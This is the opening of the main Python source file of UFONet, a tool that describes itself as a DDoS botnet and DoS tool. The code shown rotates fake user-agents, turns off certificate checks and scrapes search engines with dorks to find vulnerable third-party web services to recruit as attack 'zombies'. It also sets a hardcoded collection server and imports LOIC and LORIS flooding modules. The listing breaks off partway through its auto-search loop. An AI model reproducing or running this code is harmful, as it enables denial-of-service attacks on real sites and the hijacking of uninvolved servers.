main.py 147 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import os, sys, re, traceback, random, time, threading, base64, socket, httplib, ssl, string
  10. import StringIO, urllib, urllib2, cgi, json
  11. from urlparse import urlparse
  12. from random import randrange, shuffle
  13. from options import UFONetOptions
  14. from update import Updater
  15. from herd import Herd
  16. from zombie import Zombie
  17. from doll import Doll
  18. from inspector import Inspector
  19. from abductor import Abductor
  20. from loic import LOIC
  21. from loris import LORIS
  22. DEBUG = 0
  23. class UFONet(object):
  24. def __init__(self):
  25. self.blackhole = '176.28.23.46' # default download/upload zombies 'blackhole'
  26. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  27. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  28. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve 'zombies'
  29. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve 'aliens'
  30. self.droids_file = 'botnet/droids.txt' # set source path to retrieve 'droids'
  31. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  32. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  33. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  34. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve 'dorks'
  35. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  36. self.referer = 'http://127.0.0.1/'
  37. self.head = False
  38. self.payload = False
  39. self.external = False
  40. self.attack_mode = False
  41. self.retries = ''
  42. self.delay = ''
  43. self.connection_failed = False
  44. self.total_possible_zombies = 0
  45. self.herd = Herd(self)
  46. self.sem = False
  47. self.port = "8080" # default UFONet injection port
  48. self.db_flash = 0 # db stress counter
  49. self.total_aliens = 0
  50. self.aliens_hit = 0
  51. self.aliens_fail = 0
  52. self.total_droids = 0
  53. self.droids_hit = 0
  54. self.droids_fail = 0
  55. self.total_ucavs = 0
  56. self.ucavs_hit = 0
  57. self.ucavs_fail = 0
  58. self.total_rpcs = 0
  59. self.rpcs_hit = 0
  60. self.rpcs_fail = 0
  61. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  62. self.ctx.check_hostname = False
  63. self.ctx.verify_mode = ssl.CERT_NONE
  64. self.nat_error_flag = "OFF"
  65. self.trans_zombies = 0
  66. self.scanned_zombies = 0
  67. def create_options(self, args=None):
  68. self.optionParser = UFONetOptions()
  69. self.options = self.optionParser.get_options(args)
  70. if not self.options:
  71. return False
  72. return self.options
  73. def banner_welcome(self):
  74. print " 0===============================================0"
  75. print " '' '----' '' || ||"
  76. print " .'_.- ( ) -._'. || * Botnet -> DDoS: ||"
  77. print " .'.' |'..'| '.'. || ||"
  78. print " .-. .' /'--.__|____|__.--'\ '. .-. || -Zombies : HTTP GET bots ||"
  79. print " (O).)-| | \ * | |* / | |-(.(O) || -Droids : HTTP GET (+params) bots ||"
  80. print " `-' '-'-._'-./ \.-'_.-'-' `-' || -Aliens : HTTP POST bots ||"
  81. print " _ | | '-.________.-' | | _ || -UCAVs : Web Abusing bots ||"
  82. print " .' _ | | | __ | | | _ '. || -X-RPCs : XML-RPC bots ||"
  83. print " / .' ''.| | /____\ | |.'' '. \ || ||"
  84. print " | |( )| '. ||_____ || .' |( )| | || * Close Combat -> DoS: ||"
  85. print " \ '._.' '. | \____/ | .' '._.' / || ||"
  86. print " '.__ ______'.|__'--'__|.'______ __.' || -LOIC : Fast HTTP requests ||"
  87. print " .'_.-| |-._'. || -LORIS : Slow HTTP requests ||"
  88. print " || ||"
  89. print " * Class: UFONet - ViPR404 (model B)- || * Featured: Crawler, +CVE, +WAF detection ||"
  90. print " * Type: /Scout/Transporter/Warfare/ || ||"
  91. print " 0|=============================================|0"
  92. print ""
  93. def banner(self):
  94. print '='*75, "\n"
  95. print "888 888 8888888888 .d88888b. 888b 888 888 "
  96. print "888 888 888 d88P Y888b 8888b 888 888 "
  97. print "888 888 888 888 888 88888b 888 888 "
  98. print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 "
  99. print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 "
  100. print "888 888 888 888 888 888 Y88888 88888888 888 "
  101. print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. "
  102. print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888"
  103. print self.optionParser.description, "\n"
  104. print '='*75
  105. def try_running(self, func, error, args=None):
  106. options = self.options
  107. args = args or []
  108. try:
  109. return func(*args)
  110. except Exception as e:
  111. print(error, "error")
  112. if DEBUG:
  113. traceback.print_exc()
  114. def start_ship_engine(self):
  115. self.agents = [] # generating available user-agents
  116. f = open(self.agents_file)
  117. agents = f.readlines()
  118. f.close()
  119. for agent in agents:
  120. self.agents.append(agent)
  121. self.user_agent = random.choice(self.agents).strip()
  122. self.search_engines = [] # available dorking search engines
  123. self.search_engines.append('bing') # [03/02/2018: OK!]
  124. self.search_engines.append('yahoo') # [03/02/2018: OK!]
  125. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  126. #self.search_engines.append('duck') [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  127. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  128. if not os.path.exists("core/json/"): # create gui json cfg files folder
  129. os.mkdir("core/json/")
  130. self.banner_welcome()
  131. self.update_flying_stats() # update flying time stats
  132. chargo = self.check_mothership_chargo() # check mothership chargo
  133. self.update_max_chargo(int(chargo)) # update max chargo stats
  134. def run(self, opts=None):
  135. if opts:
  136. self.create_options(opts)
  137. options = self.options
  138. # start threads
  139. if not self.options.threads:
  140. self.options.threads=5 # default number of threads
  141. self.sem = threading.Semaphore(self.options.threads)
  142. # start ship engine
  143. self.start_ship_engine()
  144. # check proxy options
  145. proxy = options.proxy
  146. if options.proxy:
  147. try:
  148. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  149. m = re.search(pattern, proxy)
  150. if m is None:
  151. self.banner()
  152. print ("\n[Error] - Proxy malformed!\n")
  153. return #sys.exit(2)
  154. except Exception:
  155. self.banner()
  156. print ("\n[Error] - Proxy malformed!\n")
  157. return #sys.exit(2)
  158. # check tor connection
  159. if options.checktor:
  160. url = 'https://check.torproject.org' # TOR status checking site
  161. self.banner()
  162. print "\nSending request to: " + url + "\n"
  163. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  164. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  165. try:
  166. if options.proxy: # set proxy
  167. self.proxy_transport(options.proxy)
  168. req = urllib2.Request(url, None, headers)
  169. tor_reply = urllib2.urlopen(req).read()
  170. else:
  171. req = urllib2.Request(url, None, headers)
  172. tor_reply = urllib2.urlopen(req, context=self.ctx).read()
  173. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  174. if not tor_reply or 'Congratulations' not in tor_reply:
  175. print("It seems that Tor is not properly set.\n")
  176. print("Your IP address appears to be: " + your_ip + "\n")
  177. else:
  178. print("Congratulations!. Tor is properly being used :-)\n")
  179. print("Your IP address appears to be: " + your_ip + "\n")
  180. except:
  181. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  182. sys.exit(2) # return
  183. # run AES256+HMAC-SHA1 enc/dec tool
  184. if options.cryptomsg:
  185. from server.crypter import Cipher
  186. from base64 import b64encode, b64decode
  187. print " "
  188. print " ____...------------...____ "
  189. print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ "
  190. print " .' / / \ \ '. "
  191. print " |=====/o/======================\o\=====| "
  192. print " |____/_/________..____..________\_\____| "
  193. print " / _/ \_ <_o#\__/#o_> _/ \_ \ "
  194. print " \__/_____\####/__________/####/_____\__/ "
  195. print " |===\!/========================\!/===| "
  196. print " | |=| .---. |=| | "
  197. print " |===|o|=========/ \========|o|===| "
  198. print " | | | \() ()/ | | | "
  199. print " |===|o|======{'-.) A (.-'}=====|o|===| "
  200. print " | __/ \__ '-.\uuu/.-' __/ \__ | "
  201. print " |==== .'.'^'.'.====|====.'.'^'.'.====| "
  202. print " | _\o/ __ {.' __ '.} _ _\o/ _| "
  203. print " '''''''''''''''''''''''''''''''''''''' "
  204. print "\nUFONet Crypter (AES256+HMAC-SHA1)\n"
  205. print " -> (140 plain text chars = 69 encrypted chars)\n"
  206. text = str(raw_input("- Enter text: "))
  207. input_key = str(raw_input("- Enter key: "))
  208. key = b64encode(input_key)
  209. c = Cipher(key, text)
  210. msg = c.encrypt()
  211. c.set_text(msg)
  212. print '\n-> Ciphertext: [', msg, ']'
  213. print '\nLength:', len(msg)
  214. print '\n-> Key (share it using SNEAKNET!):', input_key
  215. print '\nDecryption PoC:', c.decrypt(), "\n"
  216. # search for 'zombies' on search engines results (dorking)
  217. if options.search:
  218. zombies = []
  219. if options.engine:
  220. engine = options.engine
  221. else:
  222. engine = "yahoo" # default search engine
  223. try:
  224. self.banner()
  225. if not os.path.exists(self.humans_file) == True:
  226. f = open(self.humans_file, 'w')
  227. f.close()
  228. lf = open(self.humans_file, 'r')
  229. restored = lf.readlines()
  230. zombies_restored = len(restored)
  231. lf.close()
  232. lz = open(self.zombies_file, 'r')
  233. zombies_army = lz.readlines()
  234. for zombie in zombies_army:
  235. zombies.append(zombie) # add zombies from army to the zombies pool
  236. lz.close()
  237. if len(restored) > 0:
  238. print "\n[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  239. if not self.options.forceyes:
  240. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  241. print '-'*25
  242. else:
  243. backup_reply = "Y"
  244. if backup_reply == "n" or backup_reply == "N":
  245. print "\n[Info] Removing data stored and starting a new search...\n"
  246. os.remove(self.humans_file)
  247. zombies_restored = 0 # flush zombies restored
  248. print '-'*25 + "\n"
  249. else:
  250. print "\n[Info] Restoring data and starting a new search...\n"
  251. print '-'*25 + "\n"
  252. for zombie in restored:
  253. zombies.append(zombie) # add previous data to zombies pool
  254. if options.allengines:
  255. for e in self.search_engines:
  256. engine = e
  257. print '='*44
  258. print("\nSearching for zombies (with AI mode) using: "+engine+'\n')
  259. print '='*44 + '\n'
  260. self.options.engine = engine
  261. try:
  262. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  263. if zombies_chain != None:
  264. for zombie in zombies_chain:
  265. if zombie not in zombies: # evade possible repetitions
  266. zombies.append(zombie)
  267. except:
  268. if zombies: # backup all new zombies found to file in case of exception
  269. for zombie in zombies:
  270. if zombie+os.linesep not in restored: # only append new zombies found
  271. with open(self.humans_file, "a") as f:
  272. f.write(str(zombie+os.linesep))
  273. else:
  274. if restored:
  275. print '='*44
  276. print("\nSearching for zombies (with AI mode) using: "+engine+"\n")
  277. print '='*44 + '\n'
  278. if restored: # from restored file
  279. try:
  280. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  281. if zombies_chain != None:
  282. for zombie in zombies_chain:
  283. if zombie not in zombies: # evade possible repetitions
  284. zombies.append(zombie)
  285. except:
  286. if zombies: # backup all new zombies found to file in case of exception
  287. for zombie in zombies:
  288. if zombie+os.linesep not in restored: # only append new zombies found
  289. with open(self.humans_file, "a") as f:
  290. f.write(str(zombie+os.linesep))
  291. else:
  292. try:
  293. zombies = self.search_zombies(dork='', zombies_found=zombies)
  294. except:
  295. if zombies: # backup all new zombies found to file in case of exception
  296. for zombie in zombies:
  297. if zombie+os.linesep not in restored: # only append new zombies found
  298. with open(self.humans_file, "a") as f:
  299. f.write(str(zombie+os.linesep))
  300. total_restored = zombies_restored
  301. new_zombies = 0 # new zombies counter
  302. f = open(self.zombies_file, 'r')
  303. zz = f.readlines()
  304. f.close()
  305. zombies_found = []
  306. for z in zombies:
  307. if z.endswith(os.linesep):
  308. z = z.replace(os.linesep, "")
  309. if z not in zz and z+os.linesep not in zz:
  310. new_zombies = new_zombies + 1
  311. zombies_found.append(z)
  312. print '='*62
  313. print "\n- Victims found:", len(zombies_found), "\n"
  314. print " - Restored:", total_restored
  315. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  316. print '-'*32
  317. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  318. print '='*62 + '\n'
  319. if len(zombies) > 0:
  320. if not self.options.forceyes:
  321. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  322. print '-'*25
  323. else:
  324. check_backup_reply = "Y"
  325. if check_backup_reply == "n" or check_backup_reply == "N":
  326. if os.path.isfile(self.humans_file):
  327. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  328. print "\n[Info] Temporal data correctly removed...\n"
  329. else:
  330. with open(self.humans_file, "w") as f:
  331. for z in zombies_found:
  332. if z.endswith(os.linesep):
  333. z = z.replace(os.linesep, "")
  334. if z not in zz or z+os.linesep not in zz:
  335. f.write(z+os.linesep)
  336. f.close()
  337. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  338. print '-'*25 + "\n"
  339. if new_zombies and new_zombies > 0:
  340. if not self.options.forceyes:
  341. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  342. print '-'*25 + "\n"
  343. else:
  344. check_url_link_reply = "Y"
  345. if check_url_link_reply == "n" or check_url_link_reply == "N":
  346. print "Bye!\n"
  347. pass
  348. else:
  349. print "\n" + '='*44
  350. test = self.testing(zombies_found)
  351. else:
  352. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  353. except Exception:
  354. print ("\n[Error] - Something wrong searching using: "+engine+"\n")
  355. # search for 'zombies' from a list of 'dorks'
  356. if options.dorks:
  357. if options.engine:
  358. engine = options.engine
  359. else:
  360. engine = "yahoo" # default search engine
  361. try:
  362. dorks = self.extract_dorks()
  363. if not dorks:
  364. return
  365. zombies = []
  366. self.banner()
  367. if not os.path.exists(self.humans_file) == True:
  368. f = open(self.humans_file, 'w')
  369. f.close()
  370. lf = open(self.humans_file, 'r')
  371. restored = lf.readlines()
  372. zombies_restored = len(restored)
  373. lf.close()
  374. lz = open(self.zombies_file, 'r')
  375. zombies_army = lz.readlines()
  376. for zombie in zombies_army:
  377. zombies.append(zombie) # add zombies from army to the zombies pool
  378. lz.close()
  379. if len(restored) > 0:
  380. print "\n[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  381. if not self.options.forceyes:
  382. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  383. print '-'*25
  384. else:
  385. backup_reply = "Y"
  386. if backup_reply == "n" or backup_reply == "N":
  387. print "\n[Info] Removing data stored and starting a new search...\n"
  388. os.remove(self.humans_file)
  389. zombies_restored = 0 # flush zombies restored
  390. print '-'*25 + "\n"
  391. else:
  392. print "\n[Info] Restoring data and starting a new search...\n"
  393. print '-'*25 + "\n"
  394. for zombie in restored:
  395. zombies.append(zombie) # add previous data to zombies pool
  396. total_restored = zombies_restored
  397. if options.allengines:
  398. for e in self.search_engines:
  399. engine = e
  400. print '='*44
  401. print("\nSearching for zombies (with AI mode) using: "+engine+ " [from a list of 'dorks']\n")
  402. print '='*44 + '\n'
  403. self.options.engine = engine
  404. for dork in dorks:
  405. print '='*22
  406. print "Dork:", dork
  407. print '='*22 + '\n'
  408. try:
  409. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  410. for zombie in dorked_zombies:
  411. if zombie not in zombies: # evade repetitions for zombies found
  412. zombies.append(zombie)
  413. if zombie+os.linesep not in restored: # only append new zombies found
  414. with open(self.humans_file, "a") as f:
  415. f.write(str(zombie+os.linesep))
  416. f.close()
  417. except:
  418. if zombies: # backup new zombies found on exception
  419. for zombie in zombies:
  420. if zombie+os.linesep not in restored: # only append new zombies found
  421. with open(self.humans_file, "a") as f:
  422. f.write(str(zombie+os.linesep))
  423. f.close()
  424. else:
  425. if restored:
  426. print '='*44
  427. print("\nSearching for zombies (with AI mode) using: "+engine+ " [from a list of 'dorks']\n")
  428. print '='*44 + '\n'
  429. for dork in dorks:
  430. print '='*22
  431. print "Dork:", dork
  432. print '='*22 + '\n'
  433. try:
  434. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  435. if dorked_zombies != None:
  436. for zombie in dorked_zombies:
  437. if zombie not in zombies: # evade repetitions for zombies found
  438. zombies.append(zombie)
  439. except:
  440. if zombies: # backup new zombies found on exception
  441. for zombie in zombies:
  442. if zombie+os.linesep not in restored: # only append new zombies found
  443. with open(self.humans_file, "a") as f:
  444. f.write(str(zombie+os.linesep))
  445. f.close()
  446. new_zombies = 0 # new zombies counter
  447. f = open(self.zombies_file, 'r')
  448. zz = f.readlines()
  449. f.close()
  450. zombies_found = []
  451. for z in zombies:
  452. if z.endswith(os.linesep):
  453. z = z.replace(os.linesep, "")
  454. if z not in zz and z+os.linesep not in zz:
  455. new_zombies = new_zombies + 1
  456. zombies_found.append(z)
  457. print '='*62
  458. print "\n- Victims found:", len(zombies_found), "\n"
  459. print " - Restored:", total_restored
  460. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  461. print '-'*32
  462. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  463. print '='*62 + '\n'
  464. if len(zombies_found) > 0:
  465. if not self.options.forceyes:
  466. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  467. print '-'*25
  468. else:
  469. check_backup_reply = "Y"
  470. if check_backup_reply == "n" or check_backup_reply == "N":
  471. if os.path.isfile(self.humans_file):
  472. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  473. print "\n[Info] Temporal data correctly removed...\n"
  474. else:
  475. with open(self.humans_file, "w") as f:
  476. for z in zombies_found:
  477. if z.endswith(os.linesep):
  478. z = z.replace(os.linesep, "")
  479. if z not in zz or z+os.linesep not in zz:
  480. f.write(z+os.linesep)
  481. f.close()
  482. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  483. print '-'*25 + "\n"
  484. if new_zombies and new_zombies > 0:
  485. if not self.options.forceyes:
  486. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  487. print '-'*25 + "\n"
  488. else:
  489. check_url_link_reply = "Y"
  490. if check_url_link_reply == "n" or check_url_link_reply == "N":
  491. print "Bye!\n"
  492. pass
  493. else:
  494. print "\n" + '='*44
  495. test = self.testing(zombies_found)
  496. else:
  497. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  498. except Exception:
  499. print ("\n[Error] - Something wrong searching using: "+engine+"\n")
  500. # auto-search for 'zombies' (dorks+all_engines+time -> to discover max new zombies)
  501. if options.autosearch:
  502. try:
  503. dorks = self.extract_dorks()
  504. except:
  505. print "\n[Info] Not any dork present at: 'botnet/dorks.txt'. Aborting!\n"
  506. return
  507. engines_list = self.search_engines
  508. stop_flag = False # use a flag to establish an end
  509. try:
  510. self.banner()
  511. print "\nSearching automatically for 'zombies' (WARNING: this may take several time!)\n"
  512. print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n"
  513. print '-'*25 + "\n"
  514. zombies_found = []
  515. lz = open(self.zombies_file, 'r')
  516. zombies_army = lz.readlines()
  517. for zombie in zombies_army:
  518. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  519. lz.close()
  520. if not os.path.exists(self.humans_file) == True:
  521. f = open(self.humans_file, 'w')
  522. f.close()
  523. lf = open(self.humans_file, 'r')
  524. restored = lf.readlines()
  525. zombies_restored = len(restored)
  526. lf.close()
  527. if len(restored) > 0:
  528. print "[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  529. if not self.options.forceyes:
  530. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  531. print '-'*25
  532. else:
  533. backup_reply = "Y"
  534. if backup_reply == "n" or backup_reply == "N":
  535. print "\n[Info] Removing data stored and starting a new (auto)search...\n"
  536. os.remove(self.humans_file)
  537. zombies_restored = 0 # flush zombies restored
  538. print '-'*25 + "\n"
  539. else:
  540. print "\n[Info] Restoring data and starting a new (auto)search...\n"
  541. print '-'*25 + "\n"
  542. for zombie in restored:
  543. zombies_found.append(zombie) # add previous data to zombies found pool
  544. total_restored = zombies_restored
  545. while stop_flag == False:
  546. if not os.path.exists(self.humans_file) == True:
  547. f = open(self.humans_file, 'w')
  548. f.close()
  549. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  550. restored = lf.readlines()
  551. lf.close()
  552. zombies_restored = len(restored)
  553. for e in engines_list:
  554. zombies_counter = 0 # use it also as (engine) flag
  555. engine = e
  556. self.options.engine = engine
  557. print '='*44 + '\n'
  558. print("Searching for zombies (with AI mode) using: "+engine+'\n')
  559. print '='*44 + '\n'
  560. for dork in dorks:
  561. print '='*22
  562. print "Dork:", dork
  563. print '='*22 + '\n'
  564. try:
  565. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  566. for zombie in dorked_zombies:
  567. if zombie not in zombies_found: # evade repetitions for zombies found
  568. zombies_found.append(zombie)
  569. if zombie+os.linesep not in restored: # only append new zombies found
  570. with open(self.humans_file, "a") as f:
  571. f.write(str(zombie+os.linesep))
  572. f.close()
  573. zombies_counter = zombies_counter + 1
  574. except:
  575. if zombies_found: # backup new zombies found on exception
  576. for zombie in zombies_found:
  577. if zombie+os.linesep not in restored: # only append new zombies found
  578. with open(self.humans_file, "a") as f:
  579. f.write(str(zombie+os.linesep))
  580. f.close()
  581. if zombies_counter == 0:
  582. print "[Info] - NOT more NEW victims found (by the moment) using: "+engine+"... Let's remove it from queue!\n"
  583. print '-'*25 + "\n"
  584. engines_list.remove(engine) # remove not more results engine from search engines list
  585. if not engines_list: # if search engines empty, call return-exit routine
  586. print "[Info] - Search engines aren't providing more results... Exiting! ;-)\n"
  587. print '-'*25 + "\n"
  588. stop_flag = True # exit flag up
  589. new_zombies = 0 # new zombies counter
  590. f = open(self.zombies_file, 'r')
  591. zz = f.readlines()
  592. f.close()
  593. all_zombies_found = []
